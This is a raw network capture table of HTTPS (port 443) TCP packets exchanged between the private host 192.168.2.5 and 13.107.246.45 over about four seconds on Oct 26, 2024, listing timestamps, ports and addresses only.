Oct 26, 2024 13:45:03.605097055 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:03.605134964 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.138595104 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.139802933 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.139836073 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.140290022 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.140296936 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.154637098 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.157131910 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.157161951 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.157823086 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.157835960 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.186455011 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.188329935 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.188353062 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.188353062 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.188657045 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.188673973 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.188962936 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.188968897 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.189141035 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.189146996 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.271912098 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.272062063 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.272283077 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.272371054 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.272387028 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.272416115 CEST	49746	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.272422075 CEST	443	49746	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.276221037 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.276256084 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.276473999 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.276633024 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.276650906 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.290703058 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.290857077 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.290930986 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.290998936 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.291026115 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.291038990 CEST	49747	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.291047096 CEST	443	49747	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.294127941 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.294157028 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.294261932 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.294461966 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.294471979 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.332854986 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.333475113 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.334100962 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.334175110 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.334562063 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.334584951 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.334863901 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.334883928 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.334897995 CEST	49748	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.334906101 CEST	443	49748	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.335211039 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.335217953 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.338599920 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.338641882 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.338726997 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.338901997 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.338917017 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.351141930 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.351438999 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.351511002 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.351548910 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.351566076 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.351593971 CEST	49749	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.351600885 CEST	443	49749	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.354795933 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.354820967 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.354960918 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.355336905 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.355349064 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.462945938 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.463135958 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.463223934 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.463386059 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.463412046 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.463427067 CEST	49750	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.463433981 CEST	443	49750	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.467396975 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.467439890 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:04.467510939 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.467679977 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:04.467696905 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.024561882 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.024569988 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.025441885 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.025464058 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.025511980 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.025537014 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.026025057 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.026031017 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.026077032 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.026082039 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.080203056 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.080883980 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.080904961 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.081530094 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.081536055 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.088152885 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.088697910 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.088717937 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.089277029 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.089282036 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.154902935 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.155093908 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.155194998 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.155327082 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.155348063 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.155373096 CEST	49752	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.155380011 CEST	443	49752	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.155989885 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.156225920 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.156291008 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.156477928 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.156491995 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.156505108 CEST	49751	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.156512022 CEST	443	49751	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.159166098 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.159207106 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.159282923 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.160005093 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.160053015 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.160124063 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.160200119 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.160214901 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.160290003 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.160309076 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.212852001 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.212935925 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.213011980 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.213296890 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.213320971 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.213332891 CEST	49753	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.213337898 CEST	443	49753	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.216953039 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.216990948 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.217088938 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.217297077 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.217308998 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.219985008 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.220103979 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.220184088 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.220289946 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.220289946 CEST	49754	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.220308065 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.220315933 CEST	443	49754	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.222882986 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.222935915 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.223078012 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.223213911 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.223233938 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.231844902 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.232424021 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.232446909 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.232903957 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.232909918 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.365394115 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.365493059 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.365570068 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.365835905 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.365855932 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.365866899 CEST	49755	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.365874052 CEST	443	49755	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.369822025 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.369868994 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.369951010 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.370122910 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.370135069 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.894697905 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.895550966 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.895576954 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.896076918 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.896083117 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.904506922 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.904972076 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.904988050 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.905456066 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.905464888 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.955787897 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.956831932 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.956852913 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.957334995 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.957339048 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.964618921 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.965199947 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.965217113 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:05.965636969 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:05.965642929 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.028031111 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.028331995 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.028426886 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.028474092 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.028492928 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.028505087 CEST	49757	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.028512001 CEST	443	49757	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.031583071 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.031618118 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.031699896 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.031864882 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.031878948 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.034771919 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.034852028 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.034908056 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.035072088 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.035093069 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.035104036 CEST	49756	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.035109997 CEST	443	49756	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.038446903 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.038476944 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.038568974 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.038738012 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.038749933 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.086901903 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.087882996 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.087964058 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.088006973 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.088032007 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.088046074 CEST	49758	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.088052988 CEST	443	49758	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.091389894 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.091423988 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.091506004 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.091681957 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.091696024 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.097116947 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.097294092 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.097349882 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.097402096 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.097424984 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.097439051 CEST	49759	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.097445011 CEST	443	49759	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.100558043 CEST	49764	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.100610971 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.100687981 CEST	49764	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.100837946 CEST	49764	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.100853920 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.106820107 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.107305050 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.107326984 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.107810020 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.107814074 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.242904902 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.243083000 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.243185997 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.243355989 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.243380070 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.243392944 CEST	49760	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.243397951 CEST	443	49760	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.246922016 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.246954918 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.247045994 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.247210979 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.247224092 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.773411036 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.774209023 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.774230957 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.774785995 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.774791956 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.794044971 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.794883013 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.794913054 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.795440912 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.795454025 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.817276955 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.818044901 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.818074942 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.818579912 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.818588972 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.838788986 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.839483023 CEST	49764	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.839569092 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.840027094 CEST	49764	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.840046883 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.909977913 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.910051107 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.910160065 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.910466909 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.910490036 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.910502911 CEST	49762	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.910511017 CEST	443	49762	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.914192915 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.914269924 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.914372921 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.914598942 CEST	49766	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.914630890 CEST	443	49766	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.927124023 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.927270889 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.927339077 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.927378893 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.927398920 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.927407980 CEST	49761	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.927413940 CEST	443	49761	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.929552078 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.929575920 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.929816008 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.929968119 CEST	49767	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.929979086 CEST	443	49767	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.948046923 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.948213100 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.948278904 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.948313951 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.948313951 CEST	49763	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.948329926 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.948339939 CEST	443	49763	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.950524092 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.950548887 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.950612068 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.950733900 CEST	49768	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.950747013 CEST	443	49768	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.969858885 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.969924927 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.969986916 CEST	49764	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.970104933 CEST	49764	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.970146894 CEST	443	49764	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.972604990 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.972635984 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:06.972713947 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.972829103 CEST	49769	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:06.972842932 CEST	443	49769	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:07.003729105 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:07.004242897 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:07.004256964 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:07.005283117 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:07.005287886 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:07.135759115 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:07.135917902 CEST	443	49765	13.107.246.45	192.168.2.5
Oct 26, 2024 13:45:07.135989904 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:07.136190891 CEST	49765	443	192.168.2.5	13.107.246.45
Oct 26, 2024 13:45:07.136209965 CEST	443	49765	13.107.246.45	192.168.2.5
